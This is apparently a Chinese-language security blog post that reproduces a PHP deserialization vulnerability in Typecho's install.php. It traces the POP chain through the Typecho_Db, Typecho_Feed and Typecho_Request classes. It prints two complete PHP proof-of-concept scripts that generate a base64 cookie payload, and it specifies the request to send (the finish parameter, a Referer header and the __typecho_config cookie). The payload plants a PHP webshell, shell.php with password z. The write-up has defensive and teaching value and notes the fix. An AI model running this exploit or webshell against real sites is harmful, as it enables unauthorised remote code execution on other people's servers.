PHP反序列化以及POP链的构造在这段时间可谓大火,而近期也被爆出Typecho存在反序列化漏洞;

我的博客也从Wordpress转到了Typecho的阵营,对Typecho充满了好感,在这里复现下;

Typecho?

默认编辑器为Markdown的博客内容管理系统,仅此就够了;

Demo

首先说如何修复?直接删去install.php/install目录,简单粗暴;

这好像是刚搭建完网站首先要考虑的事;尴尬

POC使用的是Th1s’s Bl0g

Typecho_0.png

Payload数据包需要满足目标为/install.php?finish,且存在Referer:,Cookie中__typecho_config字段为POC生成的base64;

Typecho_1.png

在网站根目录下生成shell.php,密码为z;

Typecho_2.png

POC

备忘,之后给出自己的分析;

<?php
class Typecho_Feed{
    const RSS2 = "RSS 2.0";

    private $_type;
    private $_version;
    private $_charset;
    private $_lang;
    private $_items = array();

    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array('screenName' => "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
    private $_filter = array('assert');
}

$p1 = new Typecho_Feed(1);
$p2 = new Typecho_Request();
$p1->addItem(array('author' => $p2));
$exp = array('adapter' => $p1, 'prefix' => 'th1s');
echo base64_encode(serialize($exp));
?>

反序列化与 POP 链

serialize()将一个对象转换成一个字符串;

unserialize()将字符串还原为一个对象,本身并不存在危害,如果传入参数可控就有危害了;

满足反序列化漏洞需要的三个条件:

反序列化 unserialize() 参数的值可控 【最重要切入点】; 魔术方法 __xx() 参数可控; 魔术方法可被触发;

Thinking 师傅理解的POP链:

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联, 就是POP CHAIN。

精简来看就是:

在被触发的某魔术方法中调用其他类「非本类且非指定类」中的同名「与指定类同名」普通函数。

Note:

如果传入的是受保护(protected)或者(private)的class,需要在序列化后对数据进行编码urlencode()或者将(NUL)换成%00

漏洞触发过程

install.php —> $config = unserialize(base64_decode(Typecho_Cookie::get(‘__typecho_config’))); —> __destruct(),__wakeup() —> new Typecho_Db($config[‘adapter’], $config[‘prefix’]);

Db.php —> __construct() —> $adapterName = ‘Typecho_Db_Adapter_’ . $adapterName; —> __tostring()

Feed.php[class Typecho_Feed{}] —> $content .= ‘' . htmlspecialchars($item['author']->`screenName`) . '’ . self::EOL; —> __get()

Request.php[class Typecho_Request{}] —> function __get($key) —> return $this->get($key); —> return $this->_applyFilter($value); —> call_user_func($filter, $value);

install.php 分析

65-67 行:
<?php
if (empty($_SERVER['HTTP_REFERER'])) {
	exit;
}?>

213-235 行:
<?php if (isset($_GET['finish'])) : ?>
    <?php if ([email protected]_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
	...
    <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
	...
    <?php else : ?>
    <?php
		$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
        Typecho_Cookie::delete('__typecho_config');
		$db = new Typecho_Db($config['adapter'], $config['prefix']);
		$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
		Typecho_Db::set($db);
    ?>

必须存在referer,且存在GET类型的finish参数,payload即反序列化可控点在Cookie的__typecho_config字段;

找到可控点后,来搜索此时可被触发的魔术方法,__destruct()__wakeup()

Db.php 分析

在Typecho_Db类的构造函数__construct()中进行初始化,出现了字符串和类的拼接;

120 行
public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

此时可以触发__tostring()魔术方法,这时候全局搜索,发现都没有危险函数,但在 Feed.php [class Typecho_Feed{}]中可继续构造 POP 链;

Feed.php 分析

在Typecho_Feed{}类中出现了从不可访问的属性读取数据;

290 行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

358 行
<name>' . $item['author']->screenName . '</name>

screenName 这个属性并非本类中属性,出现这种情况可以触发__get()魔术方法;

搜索发现也存在好多,但有危险函数的只有一个 Request.php [class Typecho_Request{}];

Request.php 分析

存在危险函数call_user_func (),且两个参数均可控;

269-272 行
public function __get($key)
    {
        return $this->get($key);
    }

295-311 行
public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

159-171 行
private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

数据传输过程很清晰;

POC 构造

(1)因为 Feed.php 中的class Typecho_Feed{}属于 POP链 中的中间链接环,这里需要将其负责初始化的魔术函数__construct进行初始化;

(2)在 Feed.php 中author -> screenName这个不可访问的属性是 POP链 最终漏洞触发的连接点,所以在 Request.php 的 class Typecho_Request{} 类中危险函数call_user_func ()中要进行前后链接;

常见后门:call_user_func(函数名,函数参数)

这里正好可将$_filter数组变量的值作为函数名,$_params数组变量值为函数参数;

(3)进行两个类实例化,然后进行链接,即Feed类中的key:authorRequest类中的value:screenName链接;

(4)最后回到 Db.php 中来,给构造函数__construct()参数进行赋值,以便 index.php 中实例化来调用;

(总)即反序列化$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));后的数组传到new Typecho_Db($config['adapter'], $config['prefix']);来进行类的实例化,激活Db.php的构造函数__construct($adapterName, $prefix = 'typecho_'),由于存在字符串拼接,可激活Feed.php中的__tostring()魔术方法,又由于方法中存在从不可访问的属性读取数据$item['author']->screenName,可激活Request.php中的__get()魔术方法,里面躺着危险命令执行函数,数据一路下来传到危险函数,触发漏洞;

POC 只是反过来序列化输出;

<?php
	class Typecho_Request
		{
			private $_params = array('screenName'=> "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
			private $_filter = array('assert');
		}
		
	class Typecho_Feed
	{		
		const RSS2 = 'RSS 2.0';
		private $_type;
		private $_charset;
		private $_lang;
		private $_version;
		private $_items = array();
		// 中间层
		public function __construct($version = 1, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
		{
			$this->_version = $version;
			$this->_type = $type;
			$this->_charset = $charset;
			$this->_lang = $lang;
		}
		
		
		public function addItem(array $item)
			{
				$this->_items[] = $item;
			}
	}
	
	$payload1 = new Typecho_Request(); 
	$payload2 = new Typecho_Feed();
	$payload2->addItem(array('author' => $payload1)); // key-value
	
	$exp = array('adapter' => $payload2, 'prefix' => 'typecho');
	echo base64_encode(serialize($exp));
?>

可能这样更好理解吧;

参考博文

http://www.th1s.cn/index.php/2017/10/25/138.html https://xianzhi.aliyun.com/forum/topic/12/ http://p0sec.net/index.php/archives/114/ http://www.blogsir.com.cn/safe/454.html

备忘

魔术方法:

__destruct()    对象被销毁时触发
__toString()    把类当作字符串使用时触发
__wakeup()      使用unserialize时触发
__sleep()       使用serialize时触发
__get()         用于从不可访问的属性读取数据
__set()         用于将数据写入不可访问的属性
__isset()       在不可访问的属性上调用isset()或empty()触发
__unset()       在不可访问的属性上使用unset()时触发
__invoke()      当脚本尝试将对象调用为函数时触发
__call()        在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发